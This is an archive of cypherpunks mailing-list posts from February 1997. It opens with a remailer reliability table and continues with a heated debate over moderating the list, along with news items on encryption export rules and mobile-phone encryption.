$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Feb 97 6:48:17 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #**#+*#**-#+     4:51 100.00%
dustbin  dustman@athensnet.com            ---+-------+  1:50:51  99.99%
weasel   config@weasel.owl.de             ++++--+++++   1:09:14  99.85%
lead     mix@zifi.genetics.utah.edu       ++--++++++++    50:42  99.80%
balls    remailer@huge.cajones.com        ###*###+-- #     5:45  99.62%
squirrel mix@squirrel.owl.de              ++++--+++ +   1:07:30  99.46%
cyber    alias@alias.cyberpass.net        +*+ *++++*++    40:43  99.23%
winsock  winsock@rigel.cyberpass.net      -----------   3:42:43  99.09%
lucifer  lucifer@dhp.com                  +   ++++++++    47:05  99.03%
exon     remailer@remailer.nl.com          ##### #* *#     2:02  98.68%
middle   middleman@jpunix.com             ++.--.- ---+  5:48:30  98.23%
haystack haystack@holy.cow.net            ***#*+# *#-+    15:27  97.21%
extropia remail@miron.vip.best.com        ------- .-    6:28:55  96.31%
replay   remailer@replay.com               *   +++-***    15:53  93.06%
reno     middleman@cyberpass.net          +--+     --+  1:20:32  91.27%
mix      mixmaster@remail.obscura.com     +-.-_-*+     14:45:36  77.02%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 3 Feb 1997 07:11:07 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1b4258d2a4@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970203064055.28470H-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Timothy C. May wrote:

> Unfortunately, Sandy responded to my post with his own flames ("piffle,"
> "disingenous," "straw man," etc.). Now he may well think his points are not
> flames becuase they are "true," but to me they take the form of flames.

But they are not ad hominem attacks on Tim May.  The are my
opinions of some of his arguments.  Even very smart people such
as Tim say poorly thought out or even silly things.  

> But then I have long disliked Sandy's method of argument. Nothing personal. But

Nor I, Tim's.  Nothing personal, but that's the point.  It is
still possible to conduct ourselves with mutual respect even if 
our views and styles differ.

> As Sandy did a too-common section-by-section disssection, I'll do the same
> for his comments.

After reading through Tim's post, I don't think much would be
served by doing another point by point response.  From Tim's
tone, it appears he is still seething about how this all came
about, so I'll just leave our two expressions of opinions where
they were.  I have no wish to exacerbate any hard feelings Tim
may be having.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 3 Feb 1997 08:32:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702030610.WAA14061@toad.com>
Message-ID: <y3VJ2D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24
>

I wonder why this message by bill got auto-posted to the censored list,
while his very thoughtful and crypto-relevant post got canned?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Mon, 3 Feb 1997 08:01:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <199702031552.HAA11689@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort writes:
[ . . . ]
 > On Sun, 2 Feb 1997, Timothy C. May wrote:
[ . . . ]
 > > Fourth, it sent a message to enemies of liberty that "Even the 
 > > Cypherpunks have found it necessary to abandon their anarchic
 > > ways."
 > 
 > That's one message that one could take from all this, I suppose.
 > I don't see it that way, nor do several list members who thanked 
 > me in private e-mail for improving the list.  Again, YMMV.

     This is the strongest point in Mr. May's essay, and it is not
easily dismissed as a difference in perspective.  I admit to looking
forward to the moderation experiment when it was announce; the noise
on the list was phenomenal even by cypherpunk standards.  My procmail
filters were approaching the level of complexity required for
self-awareness and the ASCII art still slipped through.  Plus, I
generally agree with Mr. Sandfort's positions.

     The point above demonstrates that support of the current solution
is not rationally justified.  Banning people from the list, however
ineffectually, and imposing moderation on the main list, rather than
offering another filtering service, does indeed support the thesis
that even a virtual anarchic society must resort to a central
authority to solve some problems.

     The moderation mechanism is the message.

 > What didn't work was "local filtering" which has no feed-back 
 > loop to engender comity.

     This is a strong rebuttal.  The primary affect of local filtering
is that posts which are filtered do not garner as many responses as
those which are not.  This feedback is swamped by the tendency of
filtered messages to generate flames from those who do not filter
them.

     Filtered sublists are a more effective technique, available to
non-technical subscribers as well.

     Some of the more advanced tools discussed here, such as
collaborative filtering, rating schemes, etc. have potential if the
ease-of-use barriers can be overcome.

     A cryptoanarchic solution, however, should be technical and
individual.  Centralized human moderation does not have the cypherpunk
nature.

Regards,

Patrick May






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 3 Feb 1997 05:50:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderat
Message-ID: <TCPSMTP.17.2.3.8.56.36.2780269260.1499442@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

 > ...and saw no point in wasting even more of my time arguing against the New
 > Cypherpunks World Order, as the NCWO was clearly presented as a fait
 > accompli, not something ablut which opinions of list members (or even list
 > _founders_, at least not me) were being sought.

 -=> Quoting In:sandfort@crl11.crl.com to Harka <=-

 In> Factual error #2.  There was a call for comment; Tim chose not to
 In> do so.  In retrospect, I wish we had run it by Tim, Eric and
 In> Hugh in more detail before making the annoucement, but we didn't.
 In> Certainly a tactical error and a breach of protocol, but not the
 In> end of the world.  Sorry Tim.  I should have spoken to you first.

Tactical error and breach of protocol, but not the end of the
world??
Very weak and dangerous argument. I already hear the Administration
saying: "Oh sorry, we didn't tell you about the new wiretaps
affecting 50 percent of all phone lines. Certainly a tactical error
and a breach of protocol, but HEY, it's _not_ the end of the world!
Plus, it's good for you!"

 > * But the really important issue is this: is the _physical hosting_ of the
 > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
 > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
 > these hosts to be the "owners" of the Cypherpunks group?...

 In> I think this is a Straw Man.  John and I have never argued that
 In> John "owns" cypherpunks.  When a Cypherpunk meeting is held in
 In> someone's living room, however, I don't think it's asking to much
 In> to ask everyone to follow the local rules (e.g., "no shoes in the
 In> house" or "no smoking" or even "no ad hominem attacks").  As Tim
 In> is fond of saying, "my house; my rules."  I don't think this
 In> means Tim "owns" a physical meeting in his house.

It really doesn't matter. I do agree, that having a meeting in,
let's say, your house, everybody has to submit to the "local rules",
i.e. no shoes, no smoking etc.. To avoid those rules means not to go
to that location.
However, any rules in a certain location do NOT affect speech. While
I may enforce the rule for people not to smoke in my house, I can't
enforce anything in regards to their speech. The mere try would be
counterproductice to having a meeting in the first place.
On a mailing list like this one, trying to enforce certain
_subjective_ standards is even more counterproductive, especially on
the self-proclaimed fore-front of liberty (Cypherpunks).
I do agree with TCM, that this is an argument for the very enemies
of free speech and neglecting the individual filtering-capabilities
of each subscriber.

 In> no evidence that it has made things worse.  Remember, there are a
 In> hand-full of subscribers to the Flames list, 20-30 on the
 In> Unedited list and *2000* or so on the Moderated list.  Sure some
 In> of that may be due to laziness, but it would be cavalier in the
 In> extreme to claim that such an overwhelming acceptance of
 In> moderation is merely an artifact of inertia.

Not necessarely. By subscribing the regular way: <subscribe
cypherpunks user@adress.com> one gets on the moderated list by
default. It might take (esp. new) people a while to realize, it's
moderated. And since it's Cypherpunks, they subscribed to, they
don't even _expect_ such things in the first place...
I'd do it vice versa, having them subscribe to unedited by default
and only if they make the effort (deliberate choice) to get on any
kind of moderated version, they can do so by sending a message to
majordomo.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1
KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm
KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3
MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt
9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH
KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA==
=f+Ki
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 06:48:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: COM_int
Message-ID: <1.5.4.32.19970203144238.006c1920@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-2-97:

"Telecom equipment makers to develop encryption for mobile phones"

 Matsushita, NEC and Mitsubishi will cooperate in developing scrambler 
 technology to prevent interception of mobile phone calls and other 
 misuse, and will open a research laboratory in Yokohama on Feb. 12.
 Within five years the facility is to perfect encryption technology 
 to protect wireless communications and data transmissions, and for 
 possible use in electronic commerce. Researchers will work to develop 
 a mobile communications version of "public key" scrambling technology 
 now used to secure data transmitted online.

"Electronic Cash Via Wireless Phone, Smart Card In Works"

 Wireless telephones are about to get a new mission as portable money 
 machines. PacBell intends to test ways to blend its mobile phone 
 technology with a smart card that can dramatically upgrade the 
 intelligence of a wireless telephone. People on the go could transfer 
 funds into the card's memory, slide the card into the phone, and then 
 use the phone as a communications device to buy a variety of goods 
 and services.

"Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem 
Provides Both in a Single Package"

 The combination MP200-GPS product includes an MP200 rugged CDPD/cellular
 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and 
 a choice of magnetic mount or hard mount GPS active antennas. In addition, 
 the MP200-GPS includes an  internal microcontroller, so it can operate 
 without a PC or mobile data  terminal as a standalone tracking monitor. 
 A remote host computer can wirelessly program the unit to report position 
 on a preset timeout,  whenever the unit moves a certain distance, or if 
 an external alarm is triggered.

-----

COM_int






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 3 Feb 1997 07:54:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fortune, 3 Feb
Message-ID: <32F60A0E.4DB0@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Big article in Fortune about e-mail privace.  One little paragraph
about encryption ("scrambling").  Fairly clue-free overall, but
entertaining.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 14:42:29 -0800 (PST)
To: sandfort@crl11.crl.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <199702031011.KAA00295@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



My main complaints about the `filtering' service forced upon the list
readership are that:

1. It was done to the main list!  If cypherpunks were left unchanged,
and a `cypherpunks-edited' were created I wouldn't have a problem, it
would be just another filtered list.  However there are already
several filtered lists, so the usefulness of this is limited anyway.
Merely including details of these filtered lists in the sign on
message, and posting a reminder every few weeks would suffice.  I and
apparently, most others didn't choose to subscribe to a filtering
service.  I object to this choice being over-ridden.  OK, so I can
re-subscribe to cypherpunks (cypherpunks-unedited), but many won't
bother.  (Actually I subscribe to cypherpunks-flames and cypherpunks,
as the most efficient way of receiving all messages, and still being
able to see the moderation results).

2. The impetus for moderating the main list seems to be as a result of
a few posts by Dimitri.  Really, if this is all it takes to destroy an
unmoderated list, I've got to laugh at cypherpunks collectively.  Why
is it such a big deal to press the `n' key, if you don't like what
Dimitri, or anyone else, has to say?  If your time is too valuable to
press `n' keys, what is wrong with subscribing to the existing
filtered lists?  Or with setting up a kill-file?  Or maybe generating
a bit of signal yourself?

3. It is even more funny that in my opinion Dimitri purposefully set
out to raise the issue of censorship (after his own partial
censorship), and has succeeded to this extent.  The whole thing is
just allowing yourself to be manipulated by his transparent efforts.

4. There is already a moderated forum for discussion of cypherpunks
issues: cryptography@c2.net, why do we need another one?

My vote is for renaming:

	`cypherpunks-unedited' -> `cypherpunks'
and	`cypherpunks' -> `cypherpunks-edited'

and for moving all those still on the edited list to the unedited
list.  Post a note advertising the availability of a new filtering
service called `cypherpunks-edited@toad.com', along with the
references to the other competing filtering services.

If at the end of the trial forced moderation period, John Gilmore
doesn't have the bandwidth on toad.com to support all of
`cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I
suggest that a new home is found for `cypherpunks'.  Or perhaps Sandy
as proponent of his filtering service, would be able to find a home
for `sandys-filtered-cypherpunks' service, as with the other filtering
services.

Personally, I am not in the habit of flaming people, or using the word
`fuck', in general discussion, but I find the way this `filtering
service' was foisted on the main list highly objectionable.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 10:25:20 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Filling Power Vacuums
In-Reply-To: <v03007800af1b4258d2a4@[207.167.93.63]>
Message-ID: <v03007801af1bd64055a2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote:

>After reading through Tim's post, I don't think much would be
>served by doing another point by point response.  From Tim's
>tone, it appears he is still seething about how this all came
>about, so I'll just leave our two expressions of opinions where
>they were.  I have no wish to exacerbate any hard feelings Tim
>may be having.

Indeed, I have been seething for the past several weeks (off and on, as I
am fortunately able to usually put it out of my mind and do other things
with my mental energies....).

I think I have figured out why I'm seething.

It's about "power grabs."

You see, in any anarchic situation, where reliance on self-control and
self-filtering is emphasized, there is always a _temptation_ for some to
"fill the power vacuum" and grab power.

I learned in my years at Intel how easy it was to start bossing people
around, and as I hired engineers and scientists, I built up quite a little
empire. But I didn't like what it was doing to me, as it distanced me from
the technology and also brought out "control freak" tendencies....I started
worrying about how my people were using their time ("my" time), and I
increasingly applied my own notions of what they should talk about and what
were suitable topics for laboratory chatter. In other words, I became a
censor. (Not a government censor, but a censor in the broader definition
I've already cited.)

So I gave it up. Even before eventually retiring from Intel, I elected to
leave the management track and rejoin the "technical ladder," becoming one
of Intel's so-called Principal Engineers. No longer could I control others,
except through the example I set and the information I provided. And I was
happy I had moved away from "the dark side of the force."

(I accept the role hierarchies play in corporations. They can't be built
with just people like me. They need leaders, controllers, power freaks,
etc. But a virtual community like the Cypherpunks group is not such a
heirarchical organization, and it needs few rules, leaders, etc. "We don't
need no steenking leaders.")

As this relates to Cypherpunks, I have steadfastly refused to consider any
"management role," so to speak, in how the list is run, the formal
policies, etc. I'm not saying there has been a call for management (though
Detweiler used to rail against us for not having a management heirarchy,
for not having rules and democratic procedures for "making decisions"),
just that the power vacuum in anarchies such as ours is often an open
invitation for someone to step in and "provide structure and guidance." I
resisted any thoughts of doing this, and argued against this sort of thing
whenever the topic came up in conversation. I chose to lead only by the
posts I wrote and the ideas I worked on.

There have been frequent calls over the years for the Cypherpunks to have a
more permanent presence, perhaps even an office in Washington, D.C., such
as the EFF had, the CPSR still has, and so on. And to have an Official
Spokesman, a contact person for the media droids to contact. The calls for
this have declined in the last couple of years, as people figured out that
the Cypherpunks are not about having spokespunks for us, and that the media
will just have to deal with the "anarchy" of having to herd cats to get
information out of us.

Now, of course, the message is being sent that Sandy Sandfort is in some
sense the de facto leader, being that he determines what traffic goes out
to the main list and what traffic gets bounced into the flames list. In
fact, I'll make a prediction: The media will see that he is the chief
censor and arbiter of worthiness and will increasingly contact him for the
Official Point of View on various items they are interested in.

It distresses me greatly that Sandy Sandfort has elected to move into this
"power vacuum" to nominate himself as our Leader and Chief Censor. Foo on
that.

(I used to hear this at Intel, where the argument for a hierarchical
structure was much stronger, to wit: "Tim, if you won't agree to manage
others, you'll have to accept that people less technically competent than
yourself are going to  elect to become managers and they'll probably become
_your_ manager in the not too distant future.")

So, I sort of thank Sandy for helping me to realize certain things that I
may not have explicitly realized before.

Namely, I realize that I don't want the karmic burdens of power myself,
preferring to lead only by the example I set and the ideas I generate. This
is why "market anarchies" (books, music, ideas, all things where "no ruler"
exists) appeal to me so much. And since I don't wish to assume the mantle
of leadership, and don't see much need for leadership or global censorship
(as opposed to locally contracted for filtering, a la Eric Blossom's list,
or Siskel and Ebert giving recommendations, or ratings of restaurants,
etc.), I am resentful and suspicious of people who _do_ step into the
"power vacuum" to lead and control.

Now I grant you that Sandy's form of leadership and control is relatively
mild, but the very notion that Sandy can reject a long essay because of a
couple of phrasings he dislikes (this was his "judgment call" point about
why he (reluctantly?) allowed my post to go out) is a step in the wrong
direction.

And given our strong ideological bias toward market anarchies, this move
toward censorship stands out like a sore thumb.

At least the issue would be clearer if Sandy passed all posts through but
deleted sections that offended him and marked deleted sections as
"**CENSORED**."

Yes, I'm seething. Sandy is right about that. I saw a group I helped create
and spent thousands of hours on, writing articles and developing ideas
choose--by fiat from the owner of the machine the list was being sent out
from--to embrace the dark side, the control freak side. In the name of
"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
our ideological purity.

"Hey, even the Cypherpunks have embraced censorship."

Instead of letting the power vacuum remain unfilled, and suggesting to
people that they solve the problems it creates as best they can, Sandy
jumped in to fill the vacuum.

This is what I'm seething about. And even dropping the power grab at the
end of the "experiment" will not stop this seething.

Fuck it.

--Tim May


"



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 07:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK cracking?
Message-ID: <199702031548.KAA03773@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


Just days after a U.S. graduate student cracked the most powerful
computer encryption system allowed out of the country, the Commerce
Department announced it would allow three companies to export an
even stronger system. 

Until this year, computer encryption programs, which scramble 
information and render it unreadable without a password or software 
"key," were classified as munitions and stronger programs could not 
be exported. 

But under a controversial new Clinton administration policy that took 
effect Jan. 1, companies may receive permission to export stronger 
programs. 

"I'm happy that we've been able to do this within the first month 
without rancor or difficulty," Under Secretary of Commerce for Export 
Administration William Reinsch told Reuters in a telephone interview. 

To export stronger programs immediately, companies must agree to 
incorporate features within two years allowing the government to 
decode encrypted messages by recovering the software keys, however. 

The administration's policy has been widely criticized as not 
relaxing the export limits enough and some companies feared the requirement 
for a two-year plan would substantially delay export approvals. 

The quick approvals should quell some of the criticism and encourage 
more applicants, Reinsch said. 

"As a result of this, you will have more companies taking it
seriously and we will expect more plans over the next couple of
months," he said. 

Encryption was once the realm of spies and generals. But with the
explosion of online commerce on the Internet, encryption has become
a vital tool for protecting everything from a business' email
message to a consumer's credit card number sent over the net. 

The amount of protection afforded by encryption is largely a function 
of the length of the software key measured in bits, the smallest unit of 
computer data. 

Companies said products with just 40-bit long keys, the old limit, 
were too easy to crack. The approvals came just days after Ian Goldberg, a 
graduate student at the University of California, cracked a message 
encoded with a software key 40-bits long. 

The government did not name the companies given permission to export 
stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
Information Systems acknowledged that it was one of the three. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 10:55:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dissolving Choke Points
Message-ID: <v02140b05af1be4797ba0@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


I was amused by the similarities of USG crypto policy and the
moderation of the cypherpunks list.  Recently a number of new
regulations were announced to go into effect by a certain date.
Requests for comments were made after the policy was announced.  Many
of us thought that was pretty sneaky.  I feel the same way about the
moderation plan.

Moderation has been a failure.  I'm pretty good at filtering and I
can sadly report that there is very little signal out there.

There are lessons to be learned here.  One is that censorship does
not promote a stimulating and creative dialogue.  The cypherpunks list
right now is about as interesting as hanging out by the 7-11.

Another lesson is the danger of choke points.  We can see how
tempting it is for people to exercise their control.  Even John Gilmore
was unable to restrain himself from involuntary social engineering
experiments.  Who would we have considered to be more trustworthy?

Toad.com is a choke point, not just in terms of moderation but in
terms of the rate at which it can distribute messages.  Let's
replace it.

What we want are many machines carrying the cypherpunks list.  A
message posted to any machine goes to all of the others.  Each
machine sends messages to its subscribers only once.  Some of
these machines should be across borders.

The mail loop and multiple posting problems are solved by observing
the message IDs.

Fast implementation: use moderated mailing list software.  Put a
filter in the .forward file of the "moderator" account which looks
at the message ID and forwards the message if it hasn't been seen
already.  The mailing list machines all subscribe each other.

I've been looking for a stable machine with a good net connection to
do this.  I haven't found one.  However, if we have many machines
sharing the load, the stability of any one unit is not as important
because the list will survive multiple "hits".  Only the subscribers
on one machine will be affected by having their messages delayed.
This greatly reduces the work and responsibility for any one list
operator.  (As John will attest, keeping a machine running 24 hours a
day, 7 days a week, rain or shine, is a lot of work.)

Also, with multiple machines, each unit handles a small amount of the
load.  This makes more machines available and has less impact on
people's net connections.

Last I checked, there were about 1200 addresses on the mailing list at
toad.com.  All we need are about 10 machines to take 120 subscribers
each.  (This is a completely manageable load.)

Do you have a Unix machine on the Net?  Does it have sendmail and
Perl?  Then you have all that it takes to participate.  Send me
mail and I'll help you set it up.

Peter Hendrickson
ph@netcom.com

P.S. I like and respect John and Sandy and I've learned a lot from
both of them.  While basically well-intentioned, they just made a
mistake in this instance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 08:09:41 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: PCS Encryption?
Message-ID: <1.5.4.32.19970203160358.006b87a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>	I was under the impression that Fortezza was ok for classified
>traffic.  Did I miss the changeover, was it unannounced, or was I
>simply misremembering?

Fortezza now comes in several implementations for various, variable
and multiple levels of classification and message handling. There is info on 
latest mani-dexterous products at NSA's armadillo and missi sites.

If you don't want to be logged by NSA, see the Mykronyx bouquet at:

   http://jya.com/fortezza.htm

To be sure, you might get logged anyway: jya.com may have been
approved by the Administrative Office of the United States Courts for a 
snoop.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eldon Jenkins <EJENKINS@mhz.com>
Date: Mon, 3 Feb 1997 10:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List" -Reply
Message-ID: <s2f5cb9b.004@mhz.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy, I've been a member of this list off and on for the past few years. 
In reading this list daily for quite some time I feel that the filtering you are
doing has made quite a substantial and positive change.  Normally I
would spend an hour or so at work filtering through the list deleting
endless threads of nonsense just so I could glean the valuable
information that is hidden in midst of the mindless chatter.  Now the time I
spend searching for information has been drastically reduced and I
would like to thank you for this.  While I am against censorship and
moderation whole-heartedly I see this as a different case.  You are not
preventing anyone from posting, you just sort the posts and place them
in their appropriate list.  I see your efforts as more of an organizing
project rather then censorship.  I would love to see the list continue to be
moderated.  Just my two cents though.

Eldon Jenkins
USRobotics
Programmer




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 08:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031632.LAA10670@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


on or about:  Sun, 2 Feb 1997 14:51:47 -0800

in a message allegedly from:  "Timothy C. May" <tcmay@got.net>

{snip}

> the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? 

{ much thoughtful and well-phrased commentary elided }

> I would have had no problem had John announced that he was creating
> a new list, the "Good Stuff" list, with Sandy has his Chooser of
> Good Stuff.

> But by making the _main list_ the censored one, this skewed things
> considerably.

> * Why, many reasonable people may ask, did I not simply unsubscribe
> from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) 
>(or whatever it is called) list? Because of my overall anger 

> But the clear message by having Sandy censor the
> main list (the default list, the list name with the main name, the
> list we all know about, etc.) 
{snip}

Now that the horse is out of the barn, ( or maybe not? ), I can't help
but ask whether one specific 'change to the change' would have
satisfied most of your objections:  retaining 'cypherpunks' as the
name of the unedited, all-the-crud-you-can-read-and-then-some,
version, and adding an 'cp-worthwhile' list for those of us who prefer
not to wade thru mountains of garbage to glean a few precious tidbits.

What's in a name?  Is perception more important ( to you ) than 
reality?  If just swapping names between cp and cp-unedited would make
such a large difference, I humbly suggest to you that you consider how
much labels need to matter.  Is the title of the group more important
the the content?  From where I sit, this looks a lot like a
style-over-substance complaint.  Of course, I don't have my trifocals
on just at the moment.

It may also be worth noting that the current 'status quo' is a 
transient experiment, with a fairly short time limit.  When JG, 
